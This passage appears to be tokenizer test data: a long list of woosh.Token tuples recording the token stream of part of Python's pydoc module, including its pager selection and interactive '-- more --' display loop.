28, 1410, 29), woosh.Token(woosh.NAME, 'cls', 1410, 30, 1410, 33), woosh.Token(woosh.OP, ',', 1410, 33, 1410, 34), woosh.Token(woosh.NAME, 'value', 1410, 35, 1410, 40), woosh.Token(woosh.OP, ')', 1410, 40, 1410, 41), woosh.Token(woosh.NAME, 'for', 1411, 17, 1411, 20), woosh.Token(woosh.NAME, 'name', 1411, 21, 1411, 25), woosh.Token(woosh.OP, ',', 1411, 25, 1411, 26), woosh.Token(woosh.NAME, 'kind', 1411, 27, 1411, 31), woosh.Token(woosh.OP, ',', 1411, 31, 1411, 32), woosh.Token(woosh.NAME, 'cls', 1411, 33, 1411, 36), woosh.Token(woosh.OP, ',', 1411, 36, 1411, 37), woosh.Token(woosh.NAME, 'value', 1411, 38, 1411, 43), woosh.Token(woosh.NAME, 'in', 1411, 44, 1411, 46), woosh.Token(woosh.NAME, 'classify_class_attrs', 1411, 47, 1411, 67), woosh.Token(woosh.OP, '(', 1411, 67, 1411, 68), woosh.Token(woosh.NAME, 'object', 1411, 68, 1411, 74), woosh.Token(woosh.OP, ')', 1411, 74, 1411, 75), woosh.Token(woosh.NAME, 'if', 1412, 17, 1412, 19), woosh.Token(woosh.NAME, 'visiblename', 1412, 20, 1412, 31), woosh.Token(woosh.OP, '(', 1412, 31, 1412, 32), woosh.Token(woosh.NAME, 'name', 1412, 32, 1412, 36), woosh.Token(woosh.OP, ',', 1412, 36, 1412, 37), woosh.Token(woosh.NAME, 'obj', 1412, 38, 1412, 41), woosh.Token(woosh.OP, '=', 1412, 41, 1412, 42), woosh.Token(woosh.NAME, 'object', 1412, 42, 1412, 48), woosh.Token(woosh.OP, ')', 1412, 48, 1412, 49), woosh.Token(woosh.OP, ']', 1412, 49, 1412, 50), woosh.Token(woosh.NEWLINE, '\r\n', 1412, 50, 1413, 0), woosh.Token(woosh.NAME, 'while', 1414, 8, 1414, 13), woosh.Token(woosh.NAME, 'attrs', 1414, 14, 1414, 19), woosh.Token(woosh.OP, ':', 1414, 19, 1414, 20), woosh.Token(woosh.NEWLINE, '\r\n', 1414, 20, 1415, 0), woosh.Token(woosh.INDENT, ' ', 1415, 0, 1415, 12), woosh.Token(woosh.NAME, 'if', 1415, 12, 1415, 14), woosh.Token(woosh.NAME, 'mro', 1415, 15, 1415, 18), woosh.Token(woosh.OP, ':', 1415, 18, 1415, 19), woosh.Token(woosh.NEWLINE, '\r\n', 1415, 19, 1416, 0), woosh.Token(woosh.INDENT, ' ', 1416, 0, 1416, 16), woosh.Token(woosh.NAME, 'thisclass', 1416, 16, 1416, 25), woosh.Token(woosh.OP, '=', 1416, 26, 1416, 27), woosh.Token(woosh.NAME, 'mro', 1416, 28, 1416, 31), woosh.Token(woosh.OP, '.', 1416, 31, 1416, 32), woosh.Token(woosh.NAME, 'popleft', 1416, 32, 1416, 39), woosh.Token(woosh.OP, '(', 1416, 39, 1416, 40), woosh.Token(woosh.OP, ')', 1416, 40, 1416, 41), woosh.Token(woosh.NEWLINE, '\r\n', 1416, 41, 1417, 0), woosh.Token(woosh.DEDENT, ' ', 1417, 0, 1417, 12), woosh.Token(woosh.NAME, 'else', 1417, 12, 1417, 16), woosh.Token(woosh.OP, ':', 1417, 16, 1417, 17), woosh.Token(woosh.NEWLINE, '\r\n', 1417, 17, 1418, 0), woosh.Token(woosh.INDENT, ' ', 1418, 0, 1418, 16), woosh.Token(woosh.NAME, 'thisclass', 1418, 16, 1418, 25), woosh.Token(woosh.OP, '=', 1418, 26, 1418, 27), woosh.Token(woosh.NAME, 'attrs', 1418, 28, 1418, 33), woosh.Token(woosh.OP, '[', 1418, 33, 1418, 34), woosh.Token(woosh.NUMBER, '0', 1418, 34, 1418, 35), woosh.Token(woosh.OP, ']', 1418, 35, 1418, 36), woosh.Token(woosh.OP, '[', 1418, 36, 1418, 37), woosh.Token(woosh.NUMBER, '2', 1418, 37, 1418, 38), woosh.Token(woosh.OP, ']', 1418, 38, 1418, 39), woosh.Token(woosh.NEWLINE, '\r\n', 1418, 39, 1419, 0), woosh.Token(woosh.DEDENT, ' ', 1419, 0, 1419, 12), woosh.Token(woosh.NAME, 'attrs', 1419, 12, 1419, 17), woosh.Token(woosh.OP, ',', 1419, 17, 1419, 18), woosh.Token(woosh.NAME, 'inherited', 1419, 19, 1419, 28), woosh.Token(woosh.OP, '=', 1419, 29, 1419, 30), woosh.Token(woosh.NAME, '_split_list', 1419, 31, 1419, 42), woosh.Token(woosh.OP, '(', 1419, 42, 1419, 43), woosh.Token(woosh.NAME, 'attrs', 1419, 43, 1419, 48), woosh.Token(woosh.OP, ',', 1419, 48, 1419, 49), woosh.Token(woosh.NAME, 'lambda', 1419, 50, 1419, 56), woosh.Token(woosh.NAME, 't', 1419, 57, 1419, 58), woosh.Token(woosh.OP, ':', 1419, 58, 1419, 59), woosh.Token(woosh.NAME, 't', 1419, 60, 1419, 61), woosh.Token(woosh.OP, '[', 1419, 61, 1419, 62), woosh.Token(woosh.NUMBER, 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woosh.Token(woosh.NAME, 'sys', 1566, 11, 1566, 14), woosh.Token(woosh.OP, '.', 1566, 14, 1566, 15), woosh.Token(woosh.NAME, 'platform', 1566, 15, 1566, 23), woosh.Token(woosh.OP, '==', 1566, 24, 1566, 26), woosh.Token(woosh.STRING, "'win32'", 1566, 27, 1566, 34), woosh.Token(woosh.OP, ':', 1566, 34, 1566, 35), woosh.Token(woosh.COMMENT, '# pipes completely broken in Windows', 1566, 36, 1566, 72), woosh.Token(woosh.NEWLINE, '\r\n', 1566, 72, 1567, 0), woosh.Token(woosh.INDENT, ' ', 1567, 0, 1567, 12), woosh.Token(woosh.NAME, 'return', 1567, 12, 1567, 18), woosh.Token(woosh.NAME, 'lambda', 1567, 19, 1567, 25), woosh.Token(woosh.NAME, 'text', 1567, 26, 1567, 30), woosh.Token(woosh.OP, ':', 1567, 30, 1567, 31), woosh.Token(woosh.NAME, 'tempfilepager', 1567, 32, 1567, 45), woosh.Token(woosh.OP, '(', 1567, 45, 1567, 46), woosh.Token(woosh.NAME, 'plain', 1567, 46, 1567, 51), woosh.Token(woosh.OP, '(', 1567, 51, 1567, 52), woosh.Token(woosh.NAME, 'text', 1567, 52, 1567, 56), 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woosh.Token(woosh.OP, '.', 1572, 9, 1572, 10), woosh.Token(woosh.NAME, 'environ', 1572, 10, 1572, 17), woosh.Token(woosh.OP, '.', 1572, 17, 1572, 18), woosh.Token(woosh.NAME, 'get', 1572, 18, 1572, 21), woosh.Token(woosh.OP, '(', 1572, 21, 1572, 22), woosh.Token(woosh.STRING, "'TERM'", 1572, 22, 1572, 28), woosh.Token(woosh.OP, ')', 1572, 28, 1572, 29), woosh.Token(woosh.NAME, 'in', 1572, 30, 1572, 32), woosh.Token(woosh.OP, '(', 1572, 33, 1572, 34), woosh.Token(woosh.STRING, "'dumb'", 1572, 34, 1572, 40), woosh.Token(woosh.OP, ',', 1572, 40, 1572, 41), woosh.Token(woosh.STRING, "'emacs'", 1572, 42, 1572, 49), woosh.Token(woosh.OP, ')', 1572, 49, 1572, 50), woosh.Token(woosh.OP, ':', 1572, 50, 1572, 51), woosh.Token(woosh.NEWLINE, '\r\n', 1572, 51, 1573, 0), woosh.Token(woosh.INDENT, ' ', 1573, 0, 1573, 8), woosh.Token(woosh.NAME, 'return', 1573, 8, 1573, 14), woosh.Token(woosh.NAME, 'plainpager', 1573, 15, 1573, 25), woosh.Token(woosh.NEWLINE, '\r\n', 1573, 25, 1574, 0), woosh.Token(woosh.DEDENT, ' ', 1574, 0, 1574, 4), woosh.Token(woosh.NAME, 'if', 1574, 4, 1574, 6), woosh.Token(woosh.NAME, 'sys', 1574, 7, 1574, 10), woosh.Token(woosh.OP, '.', 1574, 10, 1574, 11), woosh.Token(woosh.NAME, 'platform', 1574, 11, 1574, 19), woosh.Token(woosh.OP, '==', 1574, 20, 1574, 22), woosh.Token(woosh.STRING, "'win32'", 1574, 23, 1574, 30), woosh.Token(woosh.OP, ':', 1574, 30, 1574, 31), woosh.Token(woosh.NEWLINE, '\r\n', 1574, 31, 1575, 0), woosh.Token(woosh.INDENT, ' ', 1575, 0, 1575, 8), woosh.Token(woosh.NAME, 'return', 1575, 8, 1575, 14), woosh.Token(woosh.NAME, 'lambda', 1575, 15, 1575, 21), woosh.Token(woosh.NAME, 'text', 1575, 22, 1575, 26), woosh.Token(woosh.OP, ':', 1575, 26, 1575, 27), woosh.Token(woosh.NAME, 'tempfilepager', 1575, 28, 1575, 41), woosh.Token(woosh.OP, '(', 1575, 41, 1575, 42), woosh.Token(woosh.NAME, 'plain', 1575, 42, 1575, 47), woosh.Token(woosh.OP, '(', 1575, 47, 1575, 48), woosh.Token(woosh.NAME, 'text', 1575, 48, 1575, 52), woosh.Token(woosh.OP, ')', 1575, 52, 1575, 53), woosh.Token(woosh.OP, ',', 1575, 53, 1575, 54), woosh.Token(woosh.STRING, "'more <'", 1575, 55, 1575, 63), woosh.Token(woosh.OP, ')', 1575, 63, 1575, 64), woosh.Token(woosh.NEWLINE, '\r\n', 1575, 64, 1576, 0), woosh.Token(woosh.DEDENT, ' ', 1576, 0, 1576, 4), woosh.Token(woosh.NAME, 'if', 1576, 4, 1576, 6), woosh.Token(woosh.NAME, 'hasattr', 1576, 7, 1576, 14), woosh.Token(woosh.OP, '(', 1576, 14, 1576, 15), woosh.Token(woosh.NAME, 'os', 1576, 15, 1576, 17), woosh.Token(woosh.OP, ',', 1576, 17, 1576, 18), woosh.Token(woosh.STRING, "'system'", 1576, 19, 1576, 27), woosh.Token(woosh.OP, ')', 1576, 27, 1576, 28), woosh.Token(woosh.NAME, 'and', 1576, 29, 1576, 32), woosh.Token(woosh.NAME, 'os', 1576, 33, 1576, 35), woosh.Token(woosh.OP, '.', 1576, 35, 1576, 36), woosh.Token(woosh.NAME, 'system', 1576, 36, 1576, 42), woosh.Token(woosh.OP, '(', 1576, 42, 1576, 43), woosh.Token(woosh.STRING, "'(less) 2>/dev/null'", 1576, 43, 1576, 63), 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woosh.Token(woosh.NAME, 'tempfile', 1579, 11, 1579, 19), woosh.Token(woosh.NEWLINE, '\r\n', 1579, 19, 1580, 0), woosh.Token(woosh.OP, '(', 1580, 4, 1580, 5), woosh.Token(woosh.NAME, 'fd', 1580, 5, 1580, 7), woosh.Token(woosh.OP, ',', 1580, 7, 1580, 8), woosh.Token(woosh.NAME, 'filename', 1580, 9, 1580, 17), woosh.Token(woosh.OP, ')', 1580, 17, 1580, 18), woosh.Token(woosh.OP, '=', 1580, 19, 1580, 20), woosh.Token(woosh.NAME, 'tempfile', 1580, 21, 1580, 29), woosh.Token(woosh.OP, '.', 1580, 29, 1580, 30), woosh.Token(woosh.NAME, 'mkstemp', 1580, 30, 1580, 37), woosh.Token(woosh.OP, '(', 1580, 37, 1580, 38), woosh.Token(woosh.OP, ')', 1580, 38, 1580, 39), woosh.Token(woosh.NEWLINE, '\r\n', 1580, 39, 1581, 0), woosh.Token(woosh.NAME, 'os', 1581, 4, 1581, 6), woosh.Token(woosh.OP, '.', 1581, 6, 1581, 7), woosh.Token(woosh.NAME, 'close', 1581, 7, 1581, 12), woosh.Token(woosh.OP, '(', 1581, 12, 1581, 13), woosh.Token(woosh.NAME, 'fd', 1581, 13, 1581, 15), woosh.Token(woosh.OP, ')', 1581, 15, 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woosh.Token(woosh.NAME, 'else', 1585, 8, 1585, 12), woosh.Token(woosh.OP, ':', 1585, 12, 1585, 13), woosh.Token(woosh.NEWLINE, '\r\n', 1585, 13, 1586, 0), woosh.Token(woosh.INDENT, ' ', 1586, 0, 1586, 12), woosh.Token(woosh.NAME, 'return', 1586, 12, 1586, 18), woosh.Token(woosh.NAME, 'ttypager', 1586, 19, 1586, 27), woosh.Token(woosh.NEWLINE, '\r\n', 1586, 27, 1587, 0), woosh.Token(woosh.DEDENT, ' ', 1587, 0, 1587, 4), woosh.Token(woosh.DEDENT, '', 1587, 4, 1587, 4), woosh.Token(woosh.NAME, 'finally', 1587, 4, 1587, 11), woosh.Token(woosh.OP, ':', 1587, 11, 1587, 12), woosh.Token(woosh.NEWLINE, '\r\n', 1587, 12, 1588, 0), woosh.Token(woosh.INDENT, ' ', 1588, 0, 1588, 8), woosh.Token(woosh.NAME, 'os', 1588, 8, 1588, 10), woosh.Token(woosh.OP, '.', 1588, 10, 1588, 11), woosh.Token(woosh.NAME, 'unlink', 1588, 11, 1588, 17), woosh.Token(woosh.OP, '(', 1588, 17, 1588, 18), woosh.Token(woosh.NAME, 'filename', 1588, 18, 1588, 26), woosh.Token(woosh.OP, ')', 1588, 26, 1588, 27), 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woosh.Token(woosh.NAME, 'sys', 1641, 26, 1641, 29), woosh.Token(woosh.OP, '.', 1641, 29, 1641, 30), woosh.Token(woosh.NAME, 'stdin', 1641, 30, 1641, 35), woosh.Token(woosh.OP, '.', 1641, 35, 1641, 36), woosh.Token(woosh.NAME, 'read', 1641, 36, 1641, 40), woosh.Token(woosh.OP, '(', 1641, 40, 1641, 41), woosh.Token(woosh.NUMBER, '1', 1641, 41, 1641, 42), woosh.Token(woosh.OP, ')', 1641, 42, 1641, 43), woosh.Token(woosh.NEWLINE, '\r\n', 1641, 43, 1642, 0), woosh.Token(woosh.DEDENT, ' ', 1642, 0, 1642, 4), woosh.Token(woosh.NAME, 'except', 1642, 4, 1642, 10), woosh.Token(woosh.OP, '(', 1642, 11, 1642, 12), woosh.Token(woosh.NAME, 'ImportError', 1642, 12, 1642, 23), woosh.Token(woosh.OP, ',', 1642, 23, 1642, 24), woosh.Token(woosh.NAME, 'AttributeError', 1642, 25, 1642, 39), woosh.Token(woosh.OP, ',', 1642, 39, 1642, 40), woosh.Token(woosh.NAME, 'io', 1642, 41, 1642, 43), woosh.Token(woosh.OP, '.', 1642, 43, 1642, 44), woosh.Token(woosh.NAME, 'UnsupportedOperation', 1642, 44, 1642, 64), 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1644, 46, 1644, 47), woosh.Token(woosh.OP, ':', 1644, 47, 1644, 48), woosh.Token(woosh.OP, '-', 1644, 48, 1644, 49), woosh.Token(woosh.NUMBER, '1', 1644, 49, 1644, 50), woosh.Token(woosh.OP, ']', 1644, 50, 1644, 51), woosh.Token(woosh.OP, '[', 1644, 51, 1644, 52), woosh.Token(woosh.OP, ':', 1644, 52, 1644, 53), woosh.Token(woosh.NUMBER, '1', 1644, 53, 1644, 54), woosh.Token(woosh.OP, ']', 1644, 54, 1644, 55), woosh.Token(woosh.NEWLINE, '\r\n', 1644, 55, 1645, 0), woosh.Token(woosh.DEDENT, ' ', 1646, 0, 1646, 4), woosh.Token(woosh.NAME, 'try', 1646, 4, 1646, 7), woosh.Token(woosh.OP, ':', 1646, 7, 1646, 8), woosh.Token(woosh.NEWLINE, '\r\n', 1646, 8, 1647, 0), woosh.Token(woosh.INDENT, ' ', 1647, 0, 1647, 8), woosh.Token(woosh.NAME, 'try', 1647, 8, 1647, 11), woosh.Token(woosh.OP, ':', 1647, 11, 1647, 12), woosh.Token(woosh.NEWLINE, '\r\n', 1647, 12, 1648, 0), woosh.Token(woosh.INDENT, ' ', 1648, 0, 1648, 12), woosh.Token(woosh.NAME, 'h', 1648, 12, 1648, 13), woosh.Token(woosh.OP, '=', 1648, 14, 1648, 15), woosh.Token(woosh.NAME, 'int', 1648, 16, 1648, 19), woosh.Token(woosh.OP, '(', 1648, 19, 1648, 20), woosh.Token(woosh.NAME, 'os', 1648, 20, 1648, 22), woosh.Token(woosh.OP, '.', 1648, 22, 1648, 23), woosh.Token(woosh.NAME, 'environ', 1648, 23, 1648, 30), woosh.Token(woosh.OP, '.', 1648, 30, 1648, 31), woosh.Token(woosh.NAME, 'get', 1648, 31, 1648, 34), woosh.Token(woosh.OP, '(', 1648, 34, 1648, 35), woosh.Token(woosh.STRING, "'LINES'", 1648, 35, 1648, 42), woosh.Token(woosh.OP, ',', 1648, 42, 1648, 43), woosh.Token(woosh.NUMBER, '0', 1648, 44, 1648, 45), woosh.Token(woosh.OP, ')', 1648, 45, 1648, 46), woosh.Token(woosh.OP, ')', 1648, 46, 1648, 47), woosh.Token(woosh.NEWLINE, '\r\n', 1648, 47, 1649, 0), woosh.Token(woosh.DEDENT, ' ', 1649, 0, 1649, 8), woosh.Token(woosh.NAME, 'except', 1649, 8, 1649, 14), woosh.Token(woosh.NAME, 'ValueError', 1649, 15, 1649, 25), woosh.Token(woosh.OP, ':', 1649, 25, 1649, 26), woosh.Token(woosh.NEWLINE, '\r\n', 1649, 26, 1650, 0), woosh.Token(woosh.INDENT, ' ', 1650, 0, 1650, 12), woosh.Token(woosh.NAME, 'h', 1650, 12, 1650, 13), woosh.Token(woosh.OP, '=', 1650, 14, 1650, 15), woosh.Token(woosh.NUMBER, '0', 1650, 16, 1650, 17), woosh.Token(woosh.NEWLINE, '\r\n', 1650, 17, 1651, 0), woosh.Token(woosh.DEDENT, ' ', 1651, 0, 1651, 8), woosh.Token(woosh.NAME, 'if', 1651, 8, 1651, 10), woosh.Token(woosh.NAME, 'h', 1651, 11, 1651, 12), woosh.Token(woosh.OP, '<=', 1651, 13, 1651, 15), woosh.Token(woosh.NUMBER, '1', 1651, 16, 1651, 17), woosh.Token(woosh.OP, ':', 1651, 17, 1651, 18), woosh.Token(woosh.NEWLINE, '\r\n', 1651, 18, 1652, 0), woosh.Token(woosh.INDENT, ' ', 1652, 0, 1652, 12), woosh.Token(woosh.NAME, 'h', 1652, 12, 1652, 13), woosh.Token(woosh.OP, '=', 1652, 14, 1652, 15), woosh.Token(woosh.NUMBER, '25', 1652, 16, 1652, 18), woosh.Token(woosh.NEWLINE, '\r\n', 1652, 18, 1653, 0), woosh.Token(woosh.DEDENT, ' ', 1653, 0, 1653, 8), woosh.Token(woosh.NAME, 'r', 1653, 8, 1653, 9), woosh.Token(woosh.OP, '=', 1653, 10, 1653, 11), woosh.Token(woosh.NAME, 'inc', 1653, 12, 1653, 15), woosh.Token(woosh.OP, '=', 1653, 16, 1653, 17), woosh.Token(woosh.NAME, 'h', 1653, 18, 1653, 19), woosh.Token(woosh.OP, '-', 1653, 20, 1653, 21), woosh.Token(woosh.NUMBER, '1', 1653, 22, 1653, 23), woosh.Token(woosh.NEWLINE, '\r\n', 1653, 23, 1654, 0), woosh.Token(woosh.NAME, 'sys', 1654, 8, 1654, 11), woosh.Token(woosh.OP, '.', 1654, 11, 1654, 12), woosh.Token(woosh.NAME, 'stdout', 1654, 12, 1654, 18), woosh.Token(woosh.OP, '.', 1654, 18, 1654, 19), woosh.Token(woosh.NAME, 'write', 1654, 19, 1654, 24), woosh.Token(woosh.OP, '(', 1654, 24, 1654, 25), woosh.Token(woosh.STRING, "'\\n'", 1654, 25, 1654, 29), woosh.Token(woosh.OP, '.', 1654, 29, 1654, 30), woosh.Token(woosh.NAME, 'join', 1654, 30, 1654, 34), woosh.Token(woosh.OP, '(', 1654, 34, 1654, 35), woosh.Token(woosh.NAME, 'lines', 1654, 35, 1654, 40), woosh.Token(woosh.OP, '[', 1654, 40, 1654, 41), woosh.Token(woosh.OP, ':', 1654, 41, 1654, 42), woosh.Token(woosh.NAME, 'inc', 1654, 42, 1654, 45), woosh.Token(woosh.OP, ']', 1654, 45, 1654, 46), woosh.Token(woosh.OP, ')', 1654, 46, 1654, 47), woosh.Token(woosh.OP, '+', 1654, 48, 1654, 49), woosh.Token(woosh.STRING, "'\\n'", 1654, 50, 1654, 54), woosh.Token(woosh.OP, ')', 1654, 54, 1654, 55), woosh.Token(woosh.NEWLINE, '\r\n', 1654, 55, 1655, 0), woosh.Token(woosh.NAME, 'while', 1655, 8, 1655, 13), woosh.Token(woosh.NAME, 'lines', 1655, 14, 1655, 19), woosh.Token(woosh.OP, '[', 1655, 19, 1655, 20), woosh.Token(woosh.NAME, 'r', 1655, 20, 1655, 21), woosh.Token(woosh.OP, ':', 1655, 21, 1655, 22), woosh.Token(woosh.OP, ']', 1655, 22, 1655, 23), woosh.Token(woosh.OP, ':', 1655, 23, 1655, 24), woosh.Token(woosh.NEWLINE, '\r\n', 1655, 24, 1656, 0), woosh.Token(woosh.INDENT, ' ', 1656, 0, 1656, 12), woosh.Token(woosh.NAME, 'sys', 1656, 12, 1656, 15), woosh.Token(woosh.OP, '.', 1656, 15, 1656, 16), woosh.Token(woosh.NAME, 'stdout', 1656, 16, 1656, 22), woosh.Token(woosh.OP, '.', 1656, 22, 1656, 23), woosh.Token(woosh.NAME, 'write', 1656, 23, 1656, 28), woosh.Token(woosh.OP, '(', 1656, 28, 1656, 29), woosh.Token(woosh.STRING, "'-- more --'", 1656, 29, 1656, 41), woosh.Token(woosh.OP, ')', 1656, 41, 1656, 42), woosh.Token(woosh.NEWLINE, '\r\n', 1656, 42, 1657, 0), woosh.Token(woosh.NAME, 'sys', 1657, 12, 1657, 15), woosh.Token(woosh.OP, '.', 1657, 15, 1657, 16), woosh.Token(woosh.NAME, 'stdout', 1657, 16, 1657, 22), woosh.Token(woosh.OP, '.', 1657, 22, 1657, 23), woosh.Token(woosh.NAME, 'flush', 1657, 23, 1657, 28), woosh.Token(woosh.OP, '(', 1657, 28, 1657, 29), woosh.Token(woosh.OP, ')', 1657, 29, 1657, 30), woosh.Token(woosh.NEWLINE, '\r\n', 1657, 30, 1658, 0), woosh.Token(woosh.NAME, 'c', 1658, 12, 1658, 13), woosh.Token(woosh.OP, '=', 1658, 14, 1658, 15), woosh.Token(woosh.NAME, 'getchar', 1658, 16, 1658, 23), woosh.Token(woosh.OP, '(', 1658, 23, 1658, 24), woosh.Token(woosh.OP, ')', 1658, 24, 1658, 25), woosh.Token(woosh.NEWLINE, '\r\n', 1658, 25, 1659, 0), woosh.Token(woosh.NAME, 'if', 1660, 12, 1660, 14), woosh.Token(woosh.NAME, 'c', 1660, 15, 1660, 16), woosh.Token(woosh.NAME, 'in', 1660, 17, 1660, 19), woosh.Token(woosh.OP, '(', 1660, 20, 1660, 21), woosh.Token(woosh.STRING, "'q'", 1660, 21, 1660, 24), woosh.Token(woosh.OP, ',', 1660, 24, 1660, 25), woosh.Token(woosh.STRING, "'Q'", 1660, 26, 1660, 29), woosh.Token(woosh.OP, ')', 1660, 29, 1660, 30), woosh.Token(woosh.OP, ':', 1660, 30, 1660, 31), woosh.Token(woosh.NEWLINE, '\r\n', 1660, 31, 1661, 0), woosh.Token(woosh.INDENT, ' ', 1661, 0, 1661, 16), woosh.Token(woosh.NAME, 'sys', 1661, 16, 1661, 19), woosh.Token(woosh.OP, '.', 1661, 19, 1661, 20), woosh.Token(woosh.NAME, 'stdout', 1661, 20, 1661, 26), woosh.Token(woosh.OP, '.', 1661, 26, 1661, 27), woosh.Token(woosh.NAME, 'write', 1661, 27, 1661, 32), woosh.Token(woosh.OP, '(', 1661, 32, 1661, 33), woosh.Token(woosh.STRING, "'\\r \\r'", 1661, 33, 1661, 49), woosh.Token(woosh.OP, ')', 1661, 49, 1661, 50), woosh.Token(woosh.NEWLINE, '\r\n', 1661, 50, 1662, 0), woosh.Token(woosh.NAME, 'break', 1662, 16, 1662, 21), woosh.Token(woosh.NEWLINE, '\r\n', 1662, 21, 1663, 0), woosh.Token(woosh.DEDENT, ' ', 1663, 0, 1663, 12), woosh.Token(woosh.NAME, 'elif', 1663, 12, 1663, 16), woosh.Token(woosh.NAME, 'c', 1663, 17, 1663, 18), woosh.Token(woosh.NAME, 'in', 1663, 19, 1663, 21), woosh.Token(woosh.OP, '(', 1663, 22, 1663, 23), woosh.Token(woosh.STRING, "'\\r'", 1663, 23, 1663, 27), woosh.Token(woosh.OP, ',', 1663, 27, 1663, 28), woosh.Token(woosh.STRING, "'\\n'", 1663, 29, 1663, 33), woosh.Token(woosh.OP, ')', 1663, 33, 1663, 34), woosh.Token(woosh.OP, ':', 1663, 34, 1663, 35), woosh.Token(woosh.NEWLINE, '\r\n', 1663, 35, 1664, 0), woosh.Token(woosh.INDENT, ' ', 1664, 0, 1664, 16), woosh.Token(woosh.NAME, 'sys', 1664, 16, 1664, 19), woosh.Token(woosh.OP, '.', 1664, 19, 1664, 20), woosh.Token(woosh.NAME, 'stdout', 1664, 20, 1664, 26), woosh.Token(woosh.OP, '.', 1664, 26, 1664, 27), woosh.Token(woosh.NAME, 'write', 1664, 27, 1664, 32), woosh.Token(woosh.OP, '(', 1664, 32, 1664, 33), woosh.Token(woosh.STRING, "'\\r \\r'", 1664, 33, 1664, 49), woosh.Token(woosh.OP, '+', 1664, 50, 1664, 51), woosh.Token(woosh.NAME, 'lines', 1664, 52, 1664, 57), woosh.Token(woosh.OP, '[', 1664, 57, 1664, 58), woosh.Token(woosh.NAME, 'r', 1664, 58, 1664, 59), woosh.Token(woosh.OP, ']', 1664, 59, 1664, 60), woosh.Token(woosh.OP, '+', 1664, 61, 1664, 62), woosh.Token(woosh.STRING, "'\\n'", 1664, 63, 1664, 67), woosh.Token(woosh.OP, ')', 1664, 67, 1664, 68), woosh.Token(woosh.NEWLINE, '\r\n', 1664, 68, 1665, 0), woosh.Token(woosh.NAME, 'r', 1665, 16, 1665, 17), woosh.Token(woosh.OP, '=', 1665, 18, 1665, 19), woosh.Token(woosh.NAME, 'r', 1665, 20, 1665, 21), woosh.Token(woosh.OP, '+', 1665, 22, 1665, 23), woosh.Token(woosh.NUMBER, '1', 1665, 24, 1665, 25), woosh.Token(woosh.NEWLINE, '\r\n', 1665, 25, 1666, 0), woosh.Token(woosh.NAME, 'continue', 1666, 16, 1666, 24), woosh.Token(woosh.NEWLINE, '\r\n', 1666, 24, 1667, 0), woosh.Token(woosh.DEDENT, ' ', 1667, 0, 1667, 12), woosh.Token(woosh.NAME, 'if', 1667, 12, 1667, 14), woosh.Token(woosh.NAME, 'c', 1667, 15, 1667, 16), woosh.Token(woosh.NAME, 'in', 1667, 17, 1667, 19), woosh.Token(woosh.OP, '(', 1667, 20, 1667, 21), woosh.Token(woosh.STRING, "'b'", 1667, 21, 1667, 24), woosh.Token(woosh.OP, ',', 1667, 24, 1667, 25), woosh.Token(woosh.STRING, "'B'", 1667, 26, 1667, 29), woosh.Token(woosh.OP, ',', 1667, 29, 1667, 30), woosh.Token(woosh.STRING, "'\\x1b'", 1667, 31, 1667, 37), woosh.Token(woosh.OP, ')', 1667, 37, 1667, 38), woosh.Token(woosh.OP, ':', 1667, 38, 1667, 39), woosh.Token(woosh.NEWLINE, '\r\n', 1667, 39, 1668, 0), woosh.Token(woosh.INDENT, ' ', 1668, 0, 1668, 16), woosh.Token(woosh.NAME, 'r', 1668, 16, 1668, 17), woosh.Token(woosh.OP, '=', 1668, 18, 1668, 19), woosh.Token(woosh.NAME, 'r', 1668, 20, 1668, 21), woosh.Token(woosh.OP, '-', 1668, 22, 1668, 23), woosh.Token(woosh.NAME, 'inc', 1668, 24, 1668, 27), woosh.Token(woosh.OP, '-', 1668, 28, 1668, 29), woosh.Token(woosh.NAME, 'inc', 1668, 30, 1668, 33), woosh.Token(woosh.NEWLINE, '\r\n', 1668, 33, 1669, 0), woosh.Token(woosh.NAME, 'if', 1669, 16, 1669, 18), woosh.Token(woosh.NAME, 'r', 1669, 19, 1669, 20), woosh.Token(woosh.OP, '<', 1669, 21, 1669, 22), woosh.Token(woosh.NUMBER, '0', 1669, 23, 1669, 24), woosh.Token(woosh.OP, ':', 1669, 24, 1669, 25), woosh.Token(woosh.NAME, 'r', 1669, 26, 1669, 27), woosh.Token(woosh.OP, '=', 1669, 28, 1669, 29), woosh.Token(woosh.NUMBER, '0', 1669, 30, 1669, 31), woosh.Token(woosh.NEWLINE, '\r\n', 1669, 31, 1670, 0), woosh.Token(woosh.DEDENT, ' ', 1670, 0, 1670, 12), woosh.Token(woosh.NAME, 'sys', 1670, 12, 1670, 15), woosh.Token(woosh.OP, '.', 1670, 15, 1670, 16), woosh.Token(woosh.NAME, 'stdout', 1670, 16, 1670, 22), woosh.Token(woosh.OP, '.', 1670, 22, 1670, 23), woosh.Token(woosh.NAME, 'write', 1670, 23, 1670, 28), woosh.Token(woosh.OP, '(', 1670, 28, 1670, 29), woosh.Token(woosh.STRING, "'\\n'", 1670, 29, 1670, 33), woosh.Token(woosh.OP, '+', 1670, 34, 1670, 35), woosh.Token(woosh.STRING, "'\\n'", 1670, 36, 1670, 40), woosh.Token(woosh.OP, '.', 1670, 40, 1670, 41), woosh.Token(woosh.NAME, 'join', 1670, 41, 1670, 45), woosh.Token(woosh.OP, '(', 1670, 45, 1670, 46), woosh.Token(woosh.NAME, 'lines', 1670, 46, 1670, 51), woosh.Token(woosh.OP, '[', 1670, 51, 1670, 52), woosh.Token(woosh.NAME, 'r', 1670, 52, 1670, 53), woosh.Token(woosh.OP, ':', 1670, 53, 1670, 54), woosh.Token(woosh.NAME, 'r', 1670, 54, 1670, 55), woosh.Token(woosh.OP, '+', 1670, 55, 1670, 56), woosh.Token(woosh.NAME, 'inc', 1670, 56, 1670, 59), woosh.Token(woosh.OP, ']', 1670, 59, 1670, 60), woosh.Token(woosh.OP, ')', 1670, 60, 1670, 61), woosh.Token(woosh.OP, '+', 1670, 62, 1670, 63), woosh.Token(woosh.STRING, "'\\n'", 1670, 64, 1670, 68), woosh.Token(woosh.OP, ')', 1670, 68, 1670, 69), woosh.Token(woosh.NEWLINE, '\r\n', 1670, 69, 1671, 0), woosh.Token(woosh.NAME, 'r', 1671, 12, 1671, 13), woosh.Token(woosh.OP, '=', 1671, 14, 1671, 15), woosh.Token(woosh.NAME, 'r', 1671, 16, 1671, 17), woosh.Token(woosh.OP, '+', 1671, 18, 1671, 19), woosh.Token(woosh.NAME, 'inc', 1671, 20, 1671, 23), woosh.Token(woosh.NEWLINE, '\r\n', 1671, 23, 1672, 0), woosh.Token(woosh.DEDENT, ' ', 1673, 0, 1673, 4), woosh.Token(woosh.DEDENT, '', 1673, 4, 1673, 4), woosh.Token(woosh.NAME, 'finally', 1673, 